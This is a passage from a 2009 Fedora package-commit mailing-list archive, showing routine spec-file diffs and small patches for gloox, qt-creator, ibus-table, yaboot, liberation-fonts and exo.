* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
- rc3.
- Euroelessar (one of qutIM developer, thank you) submit patches:
	http://bugs.camaya.net/horde/whups/ticket/?id=110
	http://bugs.camaya.net/horde/whups/ticket/?id=155
	http://bugs.camaya.net/horde/whups/ticket/?id=154
	http://bugs.camaya.net/horde/whups/ticket/?id=153
	http://bugs.camaya.net/horde/whups/ticket/?id=152
	http://bugs.camaya.net/horde/whups/ticket/?id=151
	http://bugs.camaya.net/horde/whups/ticket/?id=150
	http://bugs.camaya.net/horde/whups/ticket/?id=149
	all is important and rev 4200 at least required.
- Include UPGRADING to %%doc




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jul 2009 12:15:39 -0000	1.3
+++ .cvsignore	18 Oct 2009 21:54:15 -0000	1.4
@@ -1 +1 @@
-gloox-1.0-SVNr4029.tar.bz2
+gloox-1.0rc3-SVNr4204.tar.bz2


Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/devel/gloox.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- gloox.spec	30 Jul 2009 12:15:39 -0000	1.3
+++ gloox.spec	18 Oct 2009 21:54:15 -0000	1.4
@@ -1,17 +1,17 @@
 #% define beta 7
-%define SVN 4029
+%define SVN 4204
 
 Name:		gloox
-Version:		1.0
-Release:		0.7.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0rc3
+Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
 #Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
-# svn export -r4029 svn://svn.camaya.net/gloox/trunk gloox-1.0 && \
-#	tar -cjf gloox-1.0-SVNr4029.tar.bz2 gloox-1.0
+# svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
+#	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
 Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
@@ -51,6 +51,7 @@ developing applications that use %{name}
 %endif
 
 %configure --disable-static
+
 make %{?_smp_mflags}
 # recode to UTF
 mv -f AUTHORS AUTHORS.old
@@ -70,7 +71,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog LICENSE README TODO
+%doc AUTHORS ChangeLog LICENSE README TODO UPGRADING
 %{_libdir}/*.so.*
 
 %files devel
@@ -82,6 +83,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
+- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
+
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
+- rc3.
+- Euroelessar (one of qutIM developer, thank you) submit patches:
+	http://bugs.camaya.net/horde/whups/ticket/?id=110
+	http://bugs.camaya.net/horde/whups/ticket/?id=155
+	http://bugs.camaya.net/horde/whups/ticket/?id=154
+	http://bugs.camaya.net/horde/whups/ticket/?id=153
+	http://bugs.camaya.net/horde/whups/ticket/?id=152
+	http://bugs.camaya.net/horde/whups/ticket/?id=151
+	http://bugs.camaya.net/horde/whups/ticket/?id=150
+	http://bugs.camaya.net/horde/whups/ticket/?id=149
+	all is important and rev 4200 at least required.
+- Include UPGRADING to %%doc
+
 * Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.6.SVNr4029
 - New build due to close several bugs:
 	https://mail.camaya.net/horde/whups/ticket/?id=140 - delete patch gloox-1.0-beta-SVNr4003-missed_header.patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jul 2009 12:15:39 -0000	1.3
+++ sources	18 Oct 2009 21:54:15 -0000	1.4
@@ -1 +1 @@
-280e5dc6790ff3cb0418c9b309f16aa9  gloox-1.0-SVNr4029.tar.bz2
+438edd7e83792c2e1905154e79bcd048  gloox-1.0rc3-SVNr4204.tar.bz2



From itamarjp at fedoraproject.org  Sun Oct 18 21:58:40 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Sun, 18 Oct 2009 21:58:40 +0000 (UTC)
Subject: rpms/qt-creator/devel qt-creator.spec,1.9,1.10
Message-ID: <20091018215840.2BC9211C00E8@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/qt-creator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29856

Modified Files:
	qt-creator.spec 
Log Message:
- new version 1.3.0-beta



Index: qt-creator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt-creator/devel/qt-creator.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- qt-creator.spec	12 Sep 2009 05:36:21 -0000	1.9
+++ qt-creator.spec	18 Oct 2009 21:58:39 -0000	1.10
@@ -1,12 +1,14 @@
 Name:           qt-creator
-Version:        1.2.90
-Release:        1%{?dist}
+Version:        1.3.0
+Release:        1.0.beta%{?dist}
 Summary:        Lightweight and cross-platform IDE for Qt
 
 Group:          Development/Tools
 License:        LGPLv2 with exceptions
 URL:            http://www.qtsoftware.com/developer/qt-creator
-Source0:        http://download.qtsoftware.com/qtcreator/%name-%version-src.tar.gz
+#Source0:        http://download.qtsoftware.com/qtcreator/%name-%version-src.tar.gz
+#source0 from http://qt.gitorious.org/qt-creator/qt-creator/commits/1.3.0-beta
+Source0:        qt-creator-qt-creator-1.3.0-beta.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source1:       qtcreator.desktop
@@ -22,7 +24,8 @@ designed to make development with the Qt
 even faster and easier.
 
 %prep
-%setup -q -n %name-%version-src
+%setup -q -n qt-creator-qt-creator
+# -n %name-%version-src
 
 %build
 QTDIR="%{_qt4_prefix}" ; export QTDIR ; \
@@ -83,6 +86,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/doc/qtcreator/qtcreator.qch
 
 %changelog
+* Wed Oct 14 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.3.0-1.0.beta
+- new version 1.3.0-beta
+
 * Sat Sep 12 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.90-1
 - new version 1.2.90 (Qt Creator Technology Snapshot 1.2.90)
 



From itamarjp at fedoraproject.org  Sun Oct 18 22:02:23 2009
From: itamarjp at fedoraproject.org (Itamar Reis Peixoto)
Date: Sun, 18 Oct 2009 22:02:23 +0000 (UTC)
Subject: rpms/qt-creator/devel qt-creator.spec,1.10,1.11
Message-ID: <20091018220223.4E89411C02A0@cvs1.fedora.phx.redhat.com>

Author: itamarjp

Update of /cvs/pkgs/rpms/qt-creator/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31177

Modified Files:
	qt-creator.spec 
Log Message:
- change version 



Index: qt-creator.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt-creator/devel/qt-creator.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- qt-creator.spec	18 Oct 2009 21:58:39 -0000	1.10
+++ qt-creator.spec	18 Oct 2009 22:02:22 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           qt-creator
 Version:        1.3.0
-Release:        1.0.beta%{?dist}
+Release:        0.1.beta%{?dist}
 Summary:        Lightweight and cross-platform IDE for Qt
 
 Group:          Development/Tools
@@ -86,7 +86,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/doc/qtcreator/qtcreator.qch
 
 %changelog
-* Wed Oct 14 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.3.0-1.0.beta
+* Wed Oct 14 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.3.0-0.1.beta
 - new version 1.3.0-beta
 
 * Sat Sep 12 2009 Itamar Reis Peixoto <itamar at ispbrasil.com.br> - 1.2.90-1



From hubbitus at fedoraproject.org  Sun Oct 18 22:06:04 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Sun, 18 Oct 2009 22:06:04 +0000 (UTC)
Subject: rpms/gloox/F-10 .cvsignore, 1.3, 1.4 gloox.spec, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091018220604.4632F11C00E8@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/gloox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1099

Modified Files:
	.cvsignore gloox.spec sources 
Log Message:
* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157

* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
- rc3.
- Euroelessar (one of qutIM developer, thank you) submit patches:
	http://bugs.camaya.net/horde/whups/ticket/?id=110
	http://bugs.camaya.net/horde/whups/ticket/?id=155
	http://bugs.camaya.net/horde/whups/ticket/?id=154
	http://bugs.camaya.net/horde/whups/ticket/?id=153
	http://bugs.camaya.net/horde/whups/ticket/?id=152
	http://bugs.camaya.net/horde/whups/ticket/?id=151
	http://bugs.camaya.net/horde/whups/ticket/?id=150
	http://bugs.camaya.net/horde/whups/ticket/?id=149
	all is important and rev 4200 at least required.
- Include UPGRADING to %%doc




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Jul 2009 12:51:28 -0000	1.3
+++ .cvsignore	18 Oct 2009 22:06:03 -0000	1.4
@@ -1 +1 @@
-gloox-1.0-SVNr4029.tar.bz2
+gloox-1.0rc3-SVNr4204.tar.bz2


Index: gloox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-10/gloox.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gloox.spec	30 Jul 2009 12:51:28 -0000	1.2
+++ gloox.spec	18 Oct 2009 22:06:03 -0000	1.3
@@ -1,17 +1,17 @@
 #% define beta 7
-%define SVN 4029
+%define SVN 4204
 
 Name:		gloox
-Version:		1.0
-Release:		0.7.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0rc3
+Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
 #Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
-# svn export -r4029 svn://svn.camaya.net/gloox/trunk gloox-1.0 && \
-#	tar -cjf gloox-1.0-SVNr4029.tar.bz2 gloox-1.0
+# svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
+#	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
 Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
@@ -51,6 +51,7 @@ developing applications that use %{name}
 %endif
 
 %configure --disable-static
+
 make %{?_smp_mflags}
 # recode to UTF
 mv -f AUTHORS AUTHORS.old
@@ -70,7 +71,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog LICENSE README TODO
+%doc AUTHORS ChangeLog LICENSE README TODO UPGRADING
 %{_libdir}/*.so.*
 
 %files devel
@@ -82,6 +83,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
+- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
+
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
+- rc3.
+- Euroelessar (one of qutIM developer, thank you) submit patches:
+	http://bugs.camaya.net/horde/whups/ticket/?id=110
+	http://bugs.camaya.net/horde/whups/ticket/?id=155
+	http://bugs.camaya.net/horde/whups/ticket/?id=154
+	http://bugs.camaya.net/horde/whups/ticket/?id=153
+	http://bugs.camaya.net/horde/whups/ticket/?id=152
+	http://bugs.camaya.net/horde/whups/ticket/?id=151
+	http://bugs.camaya.net/horde/whups/ticket/?id=150
+	http://bugs.camaya.net/horde/whups/ticket/?id=149
+	all is important and rev 4200 at least required.
+- Include UPGRADING to %%doc
+
 * Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.6.SVNr4029
 - New build due to close several bugs:
 	https://mail.camaya.net/horde/whups/ticket/?id=140 - delete patch gloox-1.0-beta-SVNr4003-missed_header.patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jul 2009 12:51:28 -0000	1.3
+++ sources	18 Oct 2009 22:06:04 -0000	1.4
@@ -1 +1 @@
-280e5dc6790ff3cb0418c9b309f16aa9  gloox-1.0-SVNr4029.tar.bz2
+438edd7e83792c2e1905154e79bcd048  gloox-1.0rc3-SVNr4204.tar.bz2



From cchance at fedoraproject.org  Sun Oct 18 23:13:11 2009
From: cchance at fedoraproject.org (cchance)
Date: Sun, 18 Oct 2009 23:13:11 +0000 (UTC)
Subject: rpms/ibus-table/F-11 ibus-table.spec,1.22,1.23
Message-ID: <20091018231311.B520C11C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29338

Modified Files:
	ibus-table.spec 
Log Message:
fixed unresolved deps


Index: ibus-table.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/ibus-table.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- ibus-table.spec	14 Oct 2009 00:13:29 -0000	1.22
+++ ibus-table.spec	18 Oct 2009 23:13:09 -0000	1.23
@@ -1,6 +1,6 @@
 Name:       ibus-table
 Version:    1.2.0.20091014
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    The Table engine for IBus platform
 License:    LGPLv2+
 Group:      System Environment/Libraries
@@ -20,7 +20,7 @@ The package contains general Table engin
 %package additional
 Summary:    Additional tables for general table engine of IBus
 Group:      System Environment/Libraries
-Requires:   %{name} = 1.2.0.20090902-%{release}
+Requires:   %{name} = %{version}-%{release}
 
 %description additional
 This package contains additional tables.
@@ -121,6 +121,9 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/icons/latex.svg
 
 %changelog
+* Mon Oct 19 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20091014-2.fc11
+- Fixed unresolved deps.
+
 * Wed Oct 14 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20091014-1.fc11
 - Regression of crashing. Rollback to 1.2.0.20090912.
 



From tbreeds at fedoraproject.org  Mon Oct 19 00:35:17 2009
From: tbreeds at fedoraproject.org (Tony Breeds)
Date: Mon, 19 Oct 2009 00:35:17 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot.spec,1.68,1.69
Message-ID: <20091019003518.E490111C00E8@cvs1.fedora.phx.redhat.com>

Author: tbreeds

Update of /cvs/pkgs/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32626

Modified Files:
	yaboot.spec 
Log Message:
Only require hfsutils on fedora and rhel <= 5




Index: yaboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.68
retrieving revision 1.69
diff -u -p -r1.68 -r1.69
--- yaboot.spec	24 Sep 2009 12:16:42 -0000	1.68
+++ yaboot.spec	19 Oct 2009 00:35:12 -0000	1.69
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 19%{?dist}
+Release: 20%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -42,7 +42,7 @@ ExclusiveArch: ppc
 
 # hfsutils will not be in RHEL6.
 # hfsutils is needed only for non-IBM ppc machines
-%if ! 0%{?rhel} >= 6
+%if 0%{?fedora} || 0%{?rhel} < 6
 Requires: hfsutils
 %endif
 BuildRequires: e2fsprogs-devel
@@ -118,6 +118,9 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
+* Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-20
+- Only require hfsutils on fedora and rhel <= 5
+
 * Thu Sep 09 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-19
 - Increase TFTP buffer to 32MB
 



From cchance at fedoraproject.org  Mon Oct 19 00:45:28 2009
From: cchance at fedoraproject.org (cchance)
Date: Mon, 19 Oct 2009 00:45:28 +0000 (UTC)
Subject: rpms/liberation-fonts/devel liberation-fonts.spec,1.43,1.44
Message-ID: <20091019004528.19E3611C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/liberation-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3403

Modified Files:
	liberation-fonts.spec 
Log Message:
* Mon Oct 19 2009 Caius kaio Chance <k at kaio.me> - 1.05.2.20091019-1.fc12
- Resolves: rhbz#525498 - wrongly encoded glyphs after U+10000.



Index: liberation-fonts.spec
===================================================================
RCS file: /cvs/pkgs/rpms/liberation-fonts/devel/liberation-fonts.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- liberation-fonts.spec	25 Jul 2009 05:34:08 -0000	1.43
+++ liberation-fonts.spec	19 Oct 2009 00:45:26 -0000	1.44
@@ -9,8 +9,8 @@ New.
 
 Name:             %{fontname}-fonts
 Summary:          Fonts to replace commonly used Microsoft Windows fonts
-Version:          1.05.1.20090721
-Release:          2%{?dist}
+Version:          1.05.2.20091019
+Release:          1%{?dist}
 # The license of the Liberation Fonts is a EULA that contains GPLv2 and two
 # exceptions:
 # The first exception is the standard FSF font exception.
@@ -112,6 +112,9 @@ mkfontscale %{buildroot}%{_fontdir}
 rm -rf %{buildroot}
 
 %changelog
+* Mon Oct 19 2009 Caius 'kaio' Chance <k at kaio.me> - 1.05.2.20091019-1.fc12
+- Resolves: rhbz#525498 - wrongly encoded glyphs after U+10000.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.05.1.20090721-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tbreeds at fedoraproject.org  Mon Oct 19 00:45:32 2009
From: tbreeds at fedoraproject.org (Tony Breeds)
Date: Mon, 19 Oct 2009 00:45:32 +0000 (UTC)
Subject: rpms/yaboot/F-12 yaboot.spec,1.69,1.70
Message-ID: <20091019004532.7D7F211C00E8@cvs1.fedora.phx.redhat.com>

Author: tbreeds

Update of /cvs/pkgs/rpms/yaboot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3345

Modified Files:
	yaboot.spec 
Log Message:
Explicitly build a DEBUG=1 version of yaboot to aid in debugging



Index: yaboot.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yaboot/F-12/yaboot.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- yaboot.spec	19 Oct 2009 00:35:12 -0000	1.69
+++ yaboot.spec	19 Oct 2009 00:45:31 -0000	1.70
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 20%{?dist}
+Release: 21%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -85,6 +85,9 @@ yaboot can also bootload IBM pSeries mac
 %patch36 -p1 -b .ipv6
 
 %build
+make VERSIONEXTRA='\ (Red Hat %version-%release)' DEBUG=1
+cp -a second/yaboot{,.debug}
+make clean
 make VERSIONEXTRA='\ (Red Hat %version-%release)'
 
 %install
@@ -108,6 +111,7 @@ rm -rf $RPM_BUILD_ROOT
 /usr/lib/yaboot/addnote
 /usr/lib/yaboot/ofboot
 /usr/lib/yaboot/yaboot
+/usr/lib/yaboot/yaboot.debug
 %{_mandir}/man8/bootstrap.8.gz
 %{_mandir}/man8/mkofboot.8.gz
 %{_mandir}/man8/ofpath.8.gz
@@ -118,6 +122,9 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
+* Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-21
+- Explicitly build a DEBUG=1 version of yaboot to aid in debugging
+
 * Mon Oct 19 2009 Tony Breed <tony at bakeyournoodle.com> - 1.3.14-20
 - Only require hfsutils on fedora and rhel <= 5
 



From cwickert at fedoraproject.org  Mon Oct 19 00:51:45 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 00:51:45 +0000 (UTC)
Subject: rpms/exo/devel exo-0.3.105-fix-low-transfer-rates.patch, NONE,
	1.1 exo-0.3.105-mount-utf8.patch, NONE, 1.1 .cvsignore, 1.14,
	1.15 exo.spec, 1.42, 1.43 sources, 1.14, 1.15
Message-ID: <20091019005145.AF1B111C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6019

Modified Files:
	.cvsignore exo.spec sources 
Added Files:
	exo-0.3.105-fix-low-transfer-rates.patch 
	exo-0.3.105-mount-utf8.patch 
Log Message:
* Sun Oct 19 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.105-1
- Update to 0.3.105
- Tweak mount.rc to use UTF-8 (to not bring back #508823 again)


exo-0.3.105-fix-low-transfer-rates.patch:
 exo-mount-hal.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE exo-0.3.105-fix-low-transfer-rates.patch ---
>From 7aad4f152380e1d2edffdc9a2eb15554f042fbad Mon Sep 17 00:00:00 2001
From: Nick Schermer <nick at xfce.org>
Date: Sun, 18 Oct 2009 22:47:32 +0000
Subject: Only sync devices with no volume.

If the devices is pollable and we set the sync option, this
will slowdown the transfer. I missed that when changing the
code.
---
diff --git a/exo-mount/exo-mount-hal.c b/exo-mount/exo-mount-hal.c
index bbf9ca3..d09d0db 100644
--- a/exo-mount/exo-mount-hal.c
+++ b/exo-mount/exo-mount-hal.c
@@ -741,7 +741,8 @@ exo_mount_hal_device_mount (ExoMountHalDevice *device,
         {
           option = NULL;
 
-          if (strcmp (device->fsoptions[m], "sync") == 0)
+          if (strcmp (device->fsoptions[m], "sync") == 0
+              && device->volume == NULL)
             {
               /* non-pollable drive... */
               option = g_strdup ("sync");
--
cgit v0.8.2.1

exo-0.3.105-mount-utf8.patch:
 mount.rc |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE exo-0.3.105-mount-utf8.patch ---
--- exo-0.3.105/exo-mount/mount.rc.orig	2009-10-18 17:53:04.000000000 +0200
+++ exo-0.3.105/exo-mount/mount.rc	2009-10-19 02:27:01.000000000 +0200
@@ -34,12 +34,14 @@
 
 [vfat]
 uid=<auto>
+utf8=true
 shortname=winnt
 # FreeBSD specific option
 longnames=true
 
 [iso9660]
 uid=<auto>
+utf8=true
 
 [udf]
 uid=<auto>
@@ -47,6 +49,7 @@
 
 [ntfs]
 uid=<auto>
+utf8=true
 
 [ntfs-3g]
 uid=<auto>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	10 Oct 2009 16:46:56 -0000	1.14
+++ .cvsignore	19 Oct 2009 00:51:44 -0000	1.15
@@ -1 +1 @@
-exo-0.3.104.tar.bz2
+exo-0.3.105.tar.bz2


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/exo.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- exo.spec	10 Oct 2009 16:46:56 -0000	1.42
+++ exo.spec	19 Oct 2009 00:51:45 -0000	1.43
@@ -2,7 +2,7 @@
 
 Summary: Application library for the Xfce desktop environment
 Name: exo
-Version: 0.3.104
+Version: 0.3.105
 Release: 1%{?dist}
 # libexo-hal exo-helper mount-notify and exo-mount are all GPLv2+
 # everything else is LGPLv2+
@@ -10,6 +10,10 @@ License: LGPLv2+ and GPLv2+
 URL: http://xfce.org/
 Source0: http://archive.xfce.org/src/xfce/exo/0.3/%{name}-%{version}.tar.bz2
 Patch0: exo-0.3.0-x86_64-build.patch
+# http://git.xfce.org/xfce/exo/patch/?id=7aad4f152380e1d2edffdc9a2eb15554f042fbad
+Patch1: exo-0.3.105-fix-low-transfer-rates.patch
+# to not bring https://bugzilla.redhat.com/show_bug.cgi?id=508823 back
+Patch2: exo-0.3.105-mount-utf8.patch
 Group: System Environment/Libraries
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: dbus-glib >= 0.22
@@ -53,6 +57,8 @@ Python libraries and header files for th
 %setup -q
 
 %patch0 -p1 -b .x86_64-build
+%patch1 -p1 -b .sync
+%patch2 -p1 -b .utf8
 
 %build
 %configure --enable-gtk-doc --disable-static
@@ -100,11 +106,12 @@ gtk-update-icon-cache %{_datadir}/icons/
 %files -f libexo-0.3.lang
 %defattr(-,root,root,-)
 %doc AUTHORS ChangeLog HACKING NEWS README THANKS TODO COPYING
+%config(noreplace) %{_sysconfdir}/xdg/xfce4/mount.rc
 %{_libdir}/lib*.so.*
 %{_datadir}/xfce4/helpers
 %doc %{_datadir}/xfce4/doc/*/images/*
 %doc %{_datadir}/xfce4/doc/*/*.html
-%{_mandir}/man1/exo-open.1.gz
+%{_mandir}/man1/exo-open.1.*
 %{_bindir}/exo-desktop-item-edit
 %{_bindir}/exo-open
 %{_bindir}/exo-preferred-applications
@@ -121,13 +128,13 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 %files devel
 %defattr(-, root, root,-)
-%doc %{_datadir}/gtk-doc/html/exo/
+%doc %{_datadir}/gtk-doc/html/exo-0.3/
 %{_bindir}/exo-csource
 %{_includedir}/exo*
 %{_libdir}/lib*.so
 %{_libdir}/pkgconfig/*.pc
 %{_datadir}/pygtk/*/defs/exo-*/
-%{_mandir}/man1/exo-csource.1.gz
+%{_mandir}/man1/exo-csource.1.*
 
 %files -n python-exo
 %defattr(-, root, root,-)
@@ -135,6 +142,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
+* Sun Oct 19 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.105-1
+- Update to 0.3.105
+- Tweak mount.rc to use UTF-8 (to not bring back #508823 again)
+
 * Sat Oct 10 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.104-1
 - Update to 0.3.104
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	10 Oct 2009 16:46:56 -0000	1.14
+++ sources	19 Oct 2009 00:51:45 -0000	1.15
@@ -1 +1 @@
-a2cf8c5f53dda6136550f8185626c745  exo-0.3.104.tar.bz2
+ba87f84894498bf23ae39d849c55f98c  exo-0.3.105.tar.bz2



From cwickert at fedoraproject.org  Mon Oct 19 01:00:50 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 01:00:50 +0000 (UTC)
Subject: rpms/exo/devel exo.spec,1.43,1.44
Message-ID: <20091019010050.AB6F811C02A0@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/exo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10330

Modified Files:
	exo.spec 
Log Message:
fix date in changelog


Index: exo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/exo/devel/exo.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- exo.spec	19 Oct 2009 00:51:45 -0000	1.43
+++ exo.spec	19 Oct 2009 01:00:49 -0000	1.44
@@ -142,7 +142,7 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{python_sitearch}/pyexo.*
 
 %changelog
-* Sun Oct 19 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.3.105-1
